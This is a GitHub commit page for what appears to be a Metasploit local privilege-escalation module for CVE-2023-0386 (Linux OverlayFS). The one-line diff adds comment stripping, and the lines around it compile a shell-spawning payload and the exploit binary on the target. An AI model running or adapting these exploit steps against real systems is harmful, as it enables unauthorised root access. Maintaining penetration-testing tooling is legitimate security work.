Skip to content

Commit afb8c6c

Browse files
committed
Strip comments
1 parent 216590f commit afb8c6c

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,7 +121,7 @@ def exploit
121121
vprint_status('Live compiling exploit on system...')
122122
upload_and_compile("#{exploit_dir}/shell", exploit_source('CVE-2023-0386', 'getshell.c'))
123123
cmd_exec("cd #{exploit_dir} && xxd -i shell > shell.xxd")
124-
write_file("#{exploit_dir}/cve-2023-0386.c", get_exploit("#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"))
124+
write_file("#{exploit_dir}/cve-2023-0386.c", strip_comments(get_exploit("#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}")))
125125
cmd_exec("gcc -o #{exploit_dir}/cve-2023-0386 #{exploit_dir}/cve-2023-0386.c -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl -pthread")
126126
cmd_exec("chmod +x #{exploit_dir}/cve-2023-0386")
127127
else

0 commit comments

Comments
 (0)